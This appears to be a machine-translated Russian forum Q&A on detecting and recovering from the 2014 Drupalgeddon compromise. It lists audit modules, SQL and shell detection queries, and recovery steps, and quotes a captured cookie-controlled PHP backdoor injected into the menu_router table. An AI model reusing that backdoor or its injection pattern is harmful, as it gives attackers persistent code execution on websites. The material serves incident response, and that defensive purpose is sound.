Drupal SA-CORE-2014-005 - Как определить, был ли скомпрометирован мой сервер /сайт?

Вот некоторые SQL-запросы, которые можно запускать с помощью базы данных вашего сайта, чтобы проверить пользователей с правами администратора, а какие из них получили доступ к сайту 15 октября.

Если вы читаете эту статью и надеетесь проверить сайт Drupal 7 более чем через месяц после приземления эксплойта, ваш сайт, скорее всего, уже взломан. . Лучше всего восстановить резервную копию до начала атак и работать оттуда.

Существует FAQ на SA-CORE-2014-005 .

  

Как узнать, были ли скомпрометированы мои сайты?

Один из способов быстро проверить, скомпрометированы ли сайты, - это команда drupalgeddon drush.

• https://www.drupal.org/project/drupalgeddon

Установите на свой ~/.drush с помощью drush dl drupalgeddon

Затем используйте drush drupalgeddon-test для тестирования. Дружественные псевдонимы делают это легко и быстро.

Этот инструмент может подтвердить использование сайта, но не может гарантировать, что ваш сайт не будет эксплуатироваться. Здесь нет «чистого счета здоровья», если вы не обновили его до начала атак.

Модуль аудита сайта включает некоторые проверки из Drupalgeddon и дает вам гораздо более полезный ввод. Я очень рекомендую. (EDIT: теперь они работают вместе - супер приятно!)

• http://drupal.org/project/site_audit

Обзор безопасности не проверяет атаки Drupalgeddon, но также стоит иметь в своем наборе инструментов.

• http://drupal.org/project/security_review

Если ваша кодовая база сайта была доступна для записи пользователю www, вы можете дополнительно проверить модифицированный код с помощью взломанного модуля. Этот модуль может не делать то, что вы думаете, основываясь только на его имени:)

• http://drupal.org/project/hacked

Хотя нет единого способа идентифицировать все уязвимые сайты, эти инструменты могут помочь вам определить наиболее распространенные показания.

  

Что следует искать в моих журналах доступа apache, чтобы определить, был ли мой сайт жертвой или нет?

В ваших журналах доступа будет много запросов POST. Если только вы не предприняли необычный шаг регистрации всех данных сообщения перед ошибкой, вряд ли у вас будет информация о том, какие из них были злонамеренными.

  

До сих пор, что делают эти хакеры для взломанных сайтов?

Многие сообщают, что их сайты исправлены хакерами! Как злоумышленник, это имеет смысл - вы не хотите, чтобы ваш недавно захваченный сайт выскочил из-под вас злоумышленником next :)

Кроме этого, я бы угадал , сайты используются для сбора любых ценных данных (возможно, захватить некоторые кредитные листы, возможно, снять данные транзакции после использования) и сделать скучные вещи, такие как send спама и работы в качестве скромных рабов ботнета. О, и далее расширьте империю атакующего захваченных сайтов Drupal. (Извините, у меня нет каких-либо взломанных сайтов для наблюдения.)

Некоторые проверки общих атак (это не исчерпывающий список, а некоторые из тех нападений, которые наблюдаются в дикой природе до сих пор):

• Проверьте свою учетную запись пользователя 1, чтобы убедиться, что ее имя пользователя, адрес электронной почты или пароль - это то, что вы ожидаете от них. Также проверьте любые другие учетные записи пользователей, которые имеют высокий уровень разрешений, если это возможно.
• Проверить наличие новых учетных записей пользователей, которые выглядят подозрительными.
• Проверить наличие изменений в ролях в вашей системе, например, любые новые роли или переименованные роли.
• Проверить изменения разрешений. Самый важный аспект этого - убедиться, что роль анонимного пользователя (или другие роли, которые могут подписывать сами, чтобы получить) не изменилась, чтобы увеличить их доступ.
• Проверить новые пользовательские блоки, которые могут содержать вредоносный код.
• Проверить новые пользовательские узлы, которые могут содержать вредоносный код.
• Проверьте файлы в вашей файловой системе, которых не должно быть. Это легко, если вы используете управление версиями, потому что вы можете выполнить git status или svn st, чтобы увидеть, есть ли там какие-либо новые файлы.
• Если они загрузили вредоносные файлы, вы можете проверить свои журналы доступа для попадания в неизвестные имена файлов, которые вы не знакомы.

• Проверьте таблицу базы данных маршрутизатора меню на наличие вредоносных записей. Например (модуль drupalgeddon /drush плагин на drupal.org имеет хороший скрипт для более тщательного контроля этой таблицы):

  SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

• Вы также можете просто просмотреть таблицу меню маршрутизатора для странных выглядящих записей.

Некоторые вещи, которые пытаются сделать, это:

• Поместите файлы сценариев php на свой сайт, которые они затем могут запустить, нажав их в браузере. Эти скрипты могут выполнять широкий спектр вредоносных вещей. Это достигается за счет добавления записей маршрутизатора вредоносного меню.
• Создайте учетные записи пользователей admin, чтобы затем использовать, чтобы делать плохие вещи на своем сайте или использовать ваш сайт.
• Измените адрес электронной почты пользователя 1, чтобы затем сбросить пароль для этой учетной записи и взять на себя ее.
• Изменить права доступа к общедоступным пользовательским ролям.
• Добавить блоки /узлы /etc. которые могут содержать вредоносный код. Если у вас включен фильтр PHP, это еще больше проблема.

К сожалению, есть так много вещей, которые злоумышленник может сделать с вашей базой данных, что довольно сложно предоставить полный список возможностей. Они могут делать то, что пытается заставить их контролировать ваш сайт, или они могут просто сломать ваш сайт, но отбросить таблицы или столбцы базы данных и т. Д.

Они могут даже внести очень небольшие изменения в конфигурацию сайта, например, изменить имя вашего сайта или что-то в этом роде, что еще не конец света, но все еще проблематично.

В принципе, все, что вы могли бы сделать в своей базе данных, выполнив команду SQL, теоретически может сделать атакующий.

Все модули, упомянутые в ответе Криса Берджесса, очень полезны для проверки этих вещей.

Я думаю, что я поеду с советом drupal.org " Вы должны действовать в предположении, что каждый сайт Drupal 7 был скомпрометирован, если не обновлен или не был исправлен до 15 октября, 11:00 UTC, то есть через 7 часов после анонса ». Как Bevan сказал в этом комментарий « Обновление или исправление Drupal не фиксирует бэкдоры, которые были установлены злоумышленниками до обновления или исправления Drupal ».

Bevan также сделал следующее диаграмма рабочего процесса, которая поможет вам проанализировать, были ли вы инфицированы и как восстановить и предотвратить . Тем не менее, он просит всех перейти к оригинальной статье для убедитесь, что у вас установлена ​​последняя версия рабочего процесса. Кроме того, Acquia представляет интересную статью об атаках и шаблонах, которые они испытали в Acquia Cloud

Цитата: https://www.drupal.org/node/2357241#comment -9258955

Это пример файла, который вставлен в столбец table_router таблицы access_callback:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php [email protected]$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Как вы можете видеть, он пытается создать файловые модули /image /vzoh.php, но поскольку у меня есть только разрешения на чтение внутри этих каталогов, сбой php с.

Отчеты о поиске похожих файлов, созданных для поиска в каталоге drupal: https: //www.drupal.org/node/2357241#comment-9260017

Я сделал следующую команду:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Цитата: http: //www .paulbooker.co.uk /Друпал-разработчик /команда линии /5-команд-помощь-drupalgeddon

Отображение файлов, которые были изменены на реальном сервере: git status

Поиск попыток выполнения кода через menu_router: выберите * из menu_router, где access_callback = 'file_put_contents'

Показывать, какие файлы находятся на реальном сервере, а не в управлении версиями: diff -r docroot repo | grep docroot | grep 'Только в docroot'

Поиск файлов PHP в каталоге файлов: найти . -path "* php"

Проверка времени между тем, когда пользователь заходил на ваш сайт и посещал последнюю страницу: select (s.timestamp - u.login) /60/60/24 AS days_since_login, u.uid из сеансов s присоединить пользователей u к s.uid = u.uid;

Очень хороший список команд, чтобы определить, были ли вы созданы.

http: //www.paulbooker. co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

Вы можете проверить, был ли ваш сайт взломан с помощью этого онлайн-инструмента:

Проверка Drupal: EngineHack

Очевидно, что это имеет свои ограничения, но это хорошая отправная точка.